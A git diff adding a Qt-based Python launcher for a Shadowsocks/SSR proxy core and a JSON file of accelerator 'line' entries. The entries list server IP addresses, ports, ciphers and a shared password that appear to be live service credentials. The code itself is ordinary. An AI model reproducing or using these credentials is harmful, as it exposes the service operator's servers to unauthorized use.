中心分栏 + splitter = QSplitter(self) + splitter.setChildrenCollapsible(False) + self.setCentralWidget(splitter) + + # 左侧:搜索 + 列表 + 按钮 + left = QWidget() + lv = QVBoxLayout(left) + self.edit_search = QLineEdit(placeholderText="搜索节点名 / IP …") + self.edit_search.setClearButtonEnabled(True) + lv.addWidget(self.edit_search) + + self.model = NodeListModel(self.cfg.nodes) + self.proxy = QSortFilterProxyModel(self) + self.proxy.setSourceModel(self.model) + self.proxy.setFilterCaseSensitivity(Qt.CaseInsensitive) + self.proxy.setFilterRegularExpression(QRegularExpression(".*")) + self.list = QListView() + self.list.setModel(self.proxy) + self.list.setSelectionMode(QListView.SingleSelection) + self.list.setDragDropMode(QListView.InternalMove) + self.list.setEditTriggers(QListView.EditTrigger.EditKeyPressed | QListView.EditTrigger.SelectedClicked) + lv.addWidget(self.list, 1) + + btn_row = QHBoxLayout() + self.btn_add = QPushButton("新增") + self.btn_import = QPushButton("导入") + self.btn_delete = QPushButton("删除") + self.btn_test = QPushButton("测速") + self.btn_test_all = QPushButton("全部测速") + for b in (self.btn_add, self.btn_import, self.btn_delete, self.btn_test, self.btn_test_all): + btn_row.addWidget(b) + lv.addLayout(btn_row) + + splitter.addWidget(left) + + # 右侧:Tab(节点 / 全局 / 日志) + right = QTabWidget() + splitter.addWidget(right) + splitter.setStretchFactor(0, 3) + splitter.setStretchFactor(1, 5) + + # 节点表单 + tab_node = QWidget() + form = QFormLayout(tab_node) + self.edit_name = QLineEdit() + self.edit_host = QLineEdit() + self.spin_port = QSpinBox(); self.spin_port.setRange(1, 65535) + self.spin_port.setButtonSymbols(QAbstractSpinBox.NoButtons) # 直接去掉上下按钮 + + self.edit_password = QLineEdit(); self.edit_password.setEchoMode(QLineEdit.Password) + self.edit_mx = QLineEdit() + form.addRow("名称", self.edit_name) + form.addRow("远端IP/域名", self.edit_host) + form.addRow("端口", self.spin_port) + form.addRow("密码", self.edit_password) + form.addRow("mx_head_str", self.edit_mx) + right.addTab(tab_node, "节点") + + # 全局设置 + tab_global = QWidget() + fg = QFormLayout(tab_global) + self.edit_script = QLineEdit() + hb = QHBoxLayout() + btn_browse = QPushButton("浏览…") + hb.addWidget(self.edit_script, 1) + hb.addWidget(btn_browse) + fg.addRow("核心可执行/脚本", hb) + self.edit_listen_host = QLineEdit() + self.spin_listen_port = QSpinBox(); self.spin_listen_port.setRange(1, 65535) + self.spin_listen_port.setButtonSymbols(QAbstractSpinBox.NoButtons) + self.edit_log = QLineEdit(placeholderText="DEBUG/INFO/WARNING/ERROR") + self.edit_test_url = QLineEdit(DEFAULT_TEST_URL) + fg.addRow("本地监听IP", self.edit_listen_host) + fg.addRow("端口", self.spin_listen_port) + fg.addRow("日志级别", self.edit_log) + fg.addRow("测速 URL", self.edit_test_url) + + hb2 = QHBoxLayout() + self.btn_open_config = QPushButton("打开配置文件夹") + self.btn_export = QPushButton("导出节点…") + self.btn_theme = QPushButton("切换主题") + hb2.addWidget(self.btn_open_config) + hb2.addWidget(self.btn_export) + hb2.addWidget(self.btn_theme) + fg.addRow(hb2) + right.addTab(tab_global, "全局") + + # 日志 + tab_log = QWidget() + vl = QVBoxLayout(tab_log) + self.text_log = QTextEdit(readOnly=True) + hb3 = QHBoxLayout() + self.btn_clear_log = QPushButton("清空日志") + self.btn_copy_log = QPushButton("复制全部") + hb3.addWidget(self.btn_clear_log) + hb3.addWidget(self.btn_copy_log) + hb3.addStretch(1) + vl.addWidget(self.text_log, 1) + vl.addLayout(hb3) + right.addTab(tab_log, "日志") + + # 工具栏 + tb = QToolBar("工具") + self.addToolBar(tb) + act_start = QAction(self.style().standardIcon(QStyle.SP_MediaPlay), "启动", self) + act_stop = QAction(self.style().standardIcon(QStyle.SP_MediaStop), "停止", self) + act_import_clip = QAction(self.style().standardIcon(QStyle.SP_DialogOpenButton), "从剪贴板导入", self) + act_save_node = QAction(self.style().standardIcon(QStyle.SP_DialogSaveButton), "保存节点", self) + act_theme = QAction("主题", self) + act_theme.setShortcut(QKeySequence("Ctrl+T")) + for a in (act_start, act_stop, act_import_clip, act_save_node, act_theme): + tb.addAction(a) + + # 状态栏 + sb = QStatusBar() + self.setStatusBar(sb) + + # 右键菜单(列表) + self.list.setContextMenuPolicy(Qt.CustomContextMenu) + self.list.customContextMenuRequested.connect(self._open_ctx_menu) + + # 绑定信号 + self.list.selectionModel().currentChanged.connect(self._on_select_changed) + self.edit_search.textChanged.connect(self._apply_filter) + self.btn_add.clicked.connect(self._add_node) + self.btn_delete.clicked.connect(self._delete_node) + self.btn_import.clicked.connect(self._import_links_dialog) + self.btn_test.clicked.connect(self._test_selected) + self.btn_test_all.clicked.connect(self._test_all) + btn_browse.clicked.connect(self._browse_script) + self.btn_open_config.clicked.connect(lambda: os.startfile(CONFIG_FILE.parent) if sys.platform.startswith("win") else os.system(f'open "{CONFIG_FILE.parent}"' if sys.platform == "darwin" else f'xdg-open "{CONFIG_FILE.parent}"')) + self.btn_export.clicked.connect(self._export_nodes) + self.btn_theme.clicked.connect(self._toggle_theme) + self.btn_clear_log.clicked.connect(lambda: self.text_log.clear()) + self.btn_copy_log.clicked.connect(self._copy_logs) + + act_start.triggered.connect(self.start_process) + act_stop.triggered.connect(self.stop_process) + act_import_clip.triggered.connect(self._import_from_clipboard) + act_save_node.triggered.connect(self._save_node_from_form) + act_theme.triggered.connect(self._toggle_theme) + + # 初始化数据到表单 & 选中项 + self._refresh_list_selection() + self._load_selected_to_form() + self._update_buttons() + + # ---------------------------- 配置读写 ---------------------------- # + + def _load_config(self) -> LaunchConfig: + """加载配置,兼容旧版结构。""" + if CONFIG_FILE.exists(): + try: + data = json.loads(CONFIG_FILE.read_text(encoding="utf-8")) + if "nodes" in data: + nodes = [Node(**n) for n in data["nodes"]] + return LaunchConfig( + script_path=data.get("script_path", _default_script_path()), + nodes=nodes, + selected=int(data.get("selected", 0)), + listen_host=data.get("listen_host", "127.0.0.1"), + listen_port=int(data.get("listen_port", 1080)), + log_level=data.get("log_level", "INFO"), + theme=data.get("theme", "light"), + ) + # 旧格式迁移 + node = Node( + name=f"{data.get('remote_host','127.0.0.1')}:{int(data.get('remote_port',8388))}", + server=data.get("remote_host", "127.0.0.1"), + port=int(data.get("remote_port", 8388)), + password=data.get("password", "secret123"), + mx=data.get("mx_head_str", "HELLO"), + ) + return LaunchConfig( + script_path=data.get("script_path", _default_script_path()), + nodes=[node], + selected=0, + listen_host=data.get("listen_host", "127.0.0.1"), + listen_port=int(data.get("listen_port", 1080)), + log_level=data.get("log_level", "INFO"), + ) + except Exception: + pass + # 默认 + return LaunchConfig( + script_path=_default_script_path(), + nodes=[Node(name="demo", server="127.0.0.1", port=8388, password="secret123", mx="HELLO")], + selected=0, + ) + + def _save_all(self) -> None: + data = asdict(self.cfg) + # dataclass 内含 Node 对象,需转换 + data["nodes"] = [asdict(n) for n in self.cfg.nodes] + CONFIG_FILE.parent.mkdir(parents=True, exist_ok=True) + CONFIG_FILE.write_text(json.dumps(data, ensure_ascii=False, indent=2), encoding="utf-8") + self.statusBar().showMessage(f"配置已保存:{CONFIG_FILE}", 3000) + + # ---------------------------- 列表/选择/过滤 ---------------------------- # + + def _apply_filter(self, text: str) -> None: + self.proxy.setFilterRegularExpression(QRegularExpression(text if text else ".*")) + + def _refresh_list_selection(self) -> None: + row = max(0, min(self.cfg.selected, len(self.cfg.nodes) - 1)) + idx = self.proxy.index(row, 0) + if idx.isValid(): + self.list.setCurrentIndex(idx) + + def _current_row_src(self) -> int: + idx = self.list.currentIndex() + if not idx.isValid(): + return -1 + return self.proxy.mapToSource(idx).row() + + @Slot() + def _on_select_changed(self, current: QModelIndex, _prev: QModelIndex) -> None: + self.cfg.selected = self.proxy.mapToSource(current).row() + self._load_selected_to_form() + + # ---------------------------- 节点 CRUD ---------------------------- # + + def _add_node(self) -> None: + node = Node(name="new", server="127.0.0.1", port=8388, password="", mx="HELLO") + self.model.insertRow(len(self.cfg.nodes), node) + self.cfg.selected = len(self.cfg.nodes) - 1 + self._refresh_list_selection() + self._save_all() + show_toast(self, "已新增节点") + + def _delete_node(self) -> None: + row = self._current_row_src() + if row < 0: + return + if QMessageBox.question(self, "确认", "删除当前节点?") != QMessageBox.Yes: + return + self.model.removeRow(row) + self.cfg.selected = max(0, min(row, len(self.cfg.nodes) - 1)) + self._refresh_list_selection() + self._save_all() + + def _import_links_dialog(self) -> None: + path, _ = QFileDialog.getOpenFileName(self, "选择包含 ss/ssr 链接的文本文件", str(app_base_dir()), "Text (*.txt);;All (*)") + if not path: + return + text = Path(path).read_text(encoding="utf-8", errors="ignore") + self._import_text(text) + + def _import_from_clipboard(self) -> None: + text = QApplication.clipboard().text() + if not text: + return + self._import_text(text) + + def _import_text(self, text: str) -> None: + count = 0 + for line in text.splitlines(): + line = line.strip() + if not line: + continue + node = parse_ss_uri(line) or parse_ssr_uri(line) + if node: + self.model.insertRow(len(self.cfg.nodes), node) + count += 1 + if count: + self._save_all() + show_toast(self, f"已导入 {count} 个节点") + else: + QMessageBox.information(self, "提示", "未识别到有效的 ss/ssr 链接。") + + def _export_nodes(self) -> None: + path, _ = QFileDialog.getSaveFileName(self, "导出节点为 JSON", str(app_base_dir() / "nodes.json"), "JSON (*.json)") + if not path: + return + export = [asdict(n) for n in self.cfg.nodes] + Path(path).write_text(json.dumps(export, ensure_ascii=False, indent=2), encoding="utf-8") + show_toast(self, "导出成功") + + # ---------------------------- 表单读写/校验 ---------------------------- # + + def _load_selected_to_form(self) -> None: + n = self._current_node() + if not n: + return + self.edit_name.setText(n.name) + self.edit_host.setText(n.server) + self.spin_port.setValue(n.port) + self.edit_password.setText(n.password) + self.edit_mx.setText(n.mx) + + self.edit_script.setText(self.cfg.script_path) + self.edit_listen_host.setText(self.cfg.listen_host) + self.spin_listen_port.setValue(self.cfg.listen_port) + self.edit_log.setText(self.cfg.log_level) + if self.edit_test_url.text().strip() == "": + self.edit_test_url.setText(DEFAULT_TEST_URL) + + def _save_node_from_form(self) -> None: + n = self._current_node() + if not n: + return + server = self.edit_host.text().strip() + if not server: + QMessageBox.warning(self, "无效参数", "远端地址不能为空") + self.edit_host.setFocus() + return + port = int(self.spin_port.value()) + if not (1 <= port <= 65535): + QMessageBox.warning(self, "无效参数", "端口范围 1-65535") + return + n.name = self.edit_name.text().strip() or f"{server}:{port}" + n.server = server + n.port = port + n.password = self.edit_password.text() + n.mx = self.edit_mx.text() + self.cfg.script_path = self.edit_script.text().strip() or _default_script_path() + self.cfg.listen_host = self.edit_listen_host.text().strip() or "127.0.0.1" + self.cfg.listen_port = int(self.spin_listen_port.value()) + self.cfg.log_level = self.edit_log.text().strip() or "INFO" + # 测速 URL + url = self.edit_test_url.text().strip() + if url: + # 存到 cfg 以便后续 worker 使用(简单起见直接覆盖 DEFAULT_TEST_URL 的使用点) + global DEFAULT_TEST_URL + DEFAULT_TEST_URL = url + self.model.dataChanged.emit(QModelIndex(), QModelIndex()) + self._save_all() + show_toast(self, "节点已保存") + + def _current_node(self) -> Optional[Node]: + row = self._current_row_src() + return self.cfg.nodes[row] if 0 <= row < len(self.cfg.nodes) else None + + # ---------------------------- 运行/日志/测速 ---------------------------- # + + def _update_buttons(self) -> None: + running = self.proc is not None + self.findChild(QAction, "启动") # 保留接口(如需) + # 启停按钮在工具栏,由 slot 控制状态;此处仅示例保留 + + def start_process(self) -> None: + """启动核心进程。""" + n = self._current_node() + if not n: + return + self._save_node_from_form() + args = [ + "--remote-host", n.server, + "--remote-port", str(n.port), + "--password", n.password, + "--mx", n.mx, + "--listen", self.cfg.listen_host, + "--port", str(self.cfg.listen_port), + "--log", self.cfg.log_level, + ] + prog, prog_args = self._program_and_args(args) + self._append_log(f"启动: {prog} {' '.join(prog_args)}") + + self.proc = QProcess(self) + self.proc.setProcessChannelMode(QProcess.MergedChannels) + self.proc.setReadChannel(QProcess.StandardOutput) + self.proc.setWorkingDirectory(str(Path(prog).parent)) + self.proc.setProgram(prog) + self.proc.setArguments(prog_args) + self.proc.readyReadStandardOutput.connect(self._read_stdout) + self.proc.finished.connect(self._on_finished) + self.proc.start() + self.statusBar().showMessage("核心进程已启动", 2000) + + def stop_process(self) -> None: + if not self.proc: + return + self.proc.terminate() + if not self.proc.waitForFinished(3000): + self.proc.kill() + self.proc.waitForFinished(2000) + self.proc = None + self._append_log("已停止。") + self.statusBar().showMessage("核心进程已停止", 2000) + + def _read_stdout(self) -> None: + if not self.proc: + return + text = self.proc.readAllStandardOutput().data().decode("utf-8", errors="replace") + self.text_log.moveCursor(QTextCursor.End) + self.text_log.insertPlainText(text) + self.text_log.moveCursor(QTextCursor.End) + + def _on_finished(self, code: int, _status) -> None: + self._append_log(f"进程退出,code={code}\n") + self.proc = None + + def _program_and_args(self, base_args: List[str]) -> Tuple[str, List[str]]: + p = Path(self.cfg.script_path) + if not p.is_absolute(): + p = (app_base_dir() / p).resolve() + ext = p.suffix.lower() + if ext in (".exe", ".bat", ".cmd"): + return str(p), base_args + if ext in (".py", ""): + return sys.executable, [str(p), *base_args] + return str(p), base_args + + def _test_selected(self) -> None: + row = self._current_row_src() + if row < 0: + return + self._test_nodes([row]) + + def _test_all(self) -> None: + self._test_nodes(list(range(len(self.cfg.nodes)))) + + def _test_nodes(self, indices: List[int]) -> None: + # 清理已结束线程 + self.latency_threads = [t for t in self.latency_threads if t.isRunning()] + if any(t.isRunning() for t in self.latency_threads): + QMessageBox.information(self, "提示", "已有测速任务在进行中。") + return + for i in indices: + n = self.cfg.nodes[i] + n.last_latency_ms = -2.0 # 测速中 + self.model.dataChanged.emit(self.model.index(i, 0), self.model.index(i, 0), [Qt.DisplayRole]) + worker = LatencyWorker(i, n, self.cfg.script_path, self.cfg.log_level, DEFAULT_TEST_URL) + worker.result.connect(self._on_latency_result) + worker.start() + self.latency_threads.append(worker) + + def _on_latency_result(self, index: int, ms: float, msg: str) -> None: + n = self.cfg.nodes[index] + n.last_latency_ms = ms + n.last_msg = msg + self.model.dataChanged.emit(self.model.index(index, 0), self.model.index(index, 0), [Qt.DisplayRole, Qt.ForegroundRole]) + status = f"{n.name}: {('失败 ' + msg) if ms < 0 else f'{ms:.1f} ms'}" + self.statusBar().showMessage(status, 4000) + + # ---------------------------- UI 杂项 ---------------------------- # + + def _browse_script(self) -> None: + path, _ = QFileDialog.getOpenFileName(self, "选择核心(可执行/脚本)", str(app_base_dir()), + "Executable (*.exe);;Python (*.py);;All (*)") + if path: + self.edit_script.setText(path) + + def _open_ctx_menu(self, pos) -> None: + idx = self.list.indexAt(pos) + if not idx.isValid(): + return + src_row = self.proxy.mapToSource(idx).row() + n = self.cfg.nodes[src_row] + menu = QMenu(self) + act_rename = menu.addAction("重命名") + act_duplicate = menu.addAction("复制一份") + act_copy_ss = menu.addAction("复制为 ss://") + act_export = menu.addAction("导出该节点…") + act = menu.exec_(self.list.mapToGlobal(pos)) + if act == act_rename: + self.list.edit(idx) + elif act == act_duplicate: + clone = Node(**asdict(n)) + clone.name = clone.name + " (copy)" + self.model.insertRow(src_row + 1, clone) + self._save_all() + elif act == act_copy_ss: + ss = f"ss://{n.password}@{n.server}:{n.port}#{n.name}" + QApplication.clipboard().setText(ss) + show_toast(self, "ss:// 已复制") + elif act == act_export: + path, _ = QFileDialog.getSaveFileName(self, "导出节点", f"{n.name}.json", "JSON (*.json)") + if path: + Path(path).write_text(json.dumps(asdict(n), ensure_ascii=False, indent=2), encoding="utf-8") + show_toast(self, "导出成功") + + def _toggle_theme(self) -> None: + self.cfg.theme = "dark" if self.cfg.theme == "light" else "light" + apply_theme(QApplication.instance(), self.cfg.theme) + self._save_all() + + def _copy_logs(self) -> None: + QApplication.clipboard().setText(self.text_log.toPlainText()) + show_toast(self, "日志已复制") + + def _append_log(self, line: str) -> None: + self.text_log.append(line) + self.text_log.moveCursor(QTextCursor.End) + + def closeEvent(self, event) -> None: # noqa: N802 + try: + self.stop_process() + self._save_all() + except Exception: + pass + try: + for t in self.latency_threads: + t.terminate() + except Exception: + pass + event.accept() + + +def main() -> None: + app = QApplication(sys.argv) + win = MainWindow() + win.resize(1100, 700) + win.show() + sys.exit(app.exec()) + + +if __name__ == "__main__": + main() diff --git a/python/t_shadowsocksr.json b/python/t_shadowsocksr.json new file mode 100644 index 0000000..f086493 --- /dev/null +++ b/python/t_shadowsocksr.json @@ -0,0 +1,4613 @@ +[ + { + "SerialCode": "9c4ffcb34f744e408b20869ce49b3fae", + "Remark": "香港专线526", + "HostName": "120.232.206.61", + "GeHostName": "", + "PORT": "36003", + "GePort": "", + "Method": "aes-256-gcm", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ssl", + "LineState": "启用", + "Model": "", + "LineNode": "中国香港", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "183.232.156.191", + "dlPORT": "36002", + "dlMethod": "aes-256-gcm", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "120.232.206.54", + "SIPort": "36004", + "SIMethod": "aes-256-gcm", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "121.196.231.68", + "GamedfMethod": "aes-256-gcm", + "GamedfPort": "22404", + "GamedfPassword": "dwz1GtF7", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "120.233.6.181", + "WebPort": "10002", + "WebMethod": "aes-256-cfb", + "WebPassword": "dwz1GtF7", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "85a812a5bd7944fcbed67d9b1a1818f5", + "Remark": "韩国专线139", + "HostName": "112.54.161.34", + "GeHostName": "", + "PORT": "22404", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "移动", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "韩国", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.199", + "dlPORT": "10003", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "120.232.206.54", + "SIPort": "10002", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "f05b1498f9884d8c9c2e48ad4d440aa8", + "Remark": "欧洲专线777", + "HostName": "123.125.14.84", + "GeHostName": "", + "PORT": "22405", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "联通", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "欧洲", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.177", + "dlPORT": "10029", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "122.13.18.52", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "eda6e074bc5f4151bda37eeec95f4502", + "Remark": "欧洲专线857", + "HostName": "106.38.203.2", + "GeHostName": "", + "PORT": "22405", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "欧洲", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.147", + "dlPORT": "10028", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "111.45.30.79", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "ec343b6a293648c3b106bdb1365f3242", + "Remark": "欧洲专线155", + "HostName": "106.38.203.3", + "GeHostName": "", + "PORT": "22407", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "移动", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "欧洲", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "183.232.156.170", + "dlPORT": "10002", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "59.37.81.104", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "e55eaf60b87a486295d6f14b58d49a63", + "Remark": "香港专线254", + "HostName": "122.13.18.53", + "GeHostName": "", + "PORT": "10003", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "联通", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "中国香港", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.240.171.209", + "dlPORT": "22404", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "111.45.30.79", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "dcc7cac2701947e199914bc8d81267c5", + "Remark": "国际专线665", + "HostName": "120.241.69.8", + "GeHostName": "", + "PORT": "10000", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "移动", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "停用", + "Model": "", + "LineNode": "中国香港", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.233.6.187", + "dlPORT": "10001", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "120.232.206.54", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "26f686ac5c3940ad914fae367dc28459", + "Remark": "首尔专线446", + "HostName": "202.101.50.6", + "GeHostName": "", + "PORT": "22406", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "韩国", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.147", + "dlPORT": "10016", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "157.255.120.250", + "SIPort": "10002", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "1666ee5b6b8b4756973f6eb585ce4a7f", + "Remark": "国际专线91", + "HostName": "183.60.131.171", + "GeHostName": "", + "PORT": "10000", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "中国香港", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.233.6.173", + "dlPORT": "10002", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "157.255.120.250", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "0e329c0772a3497d827c922c0e47e219", + "Remark": "上海专线776", + "HostName": "113.31.103.81", + "GeHostName": "", + "PORT": "22407", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "未知", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "国服", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "122.225.243.53", + "dlPORT": "22407", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "122.225.243.59", + "SIPort": "22404", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "37fdafb7eb194d0392808e62aaf84c63", + "Remark": "上海专线336", + "HostName": "113.31.103.81", + "GeHostName": "", + "PORT": "22404", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "未知", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "国服", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.233.6.191", + "dlPORT": "10000", + "dlMethod": "aes-256-cfb", + 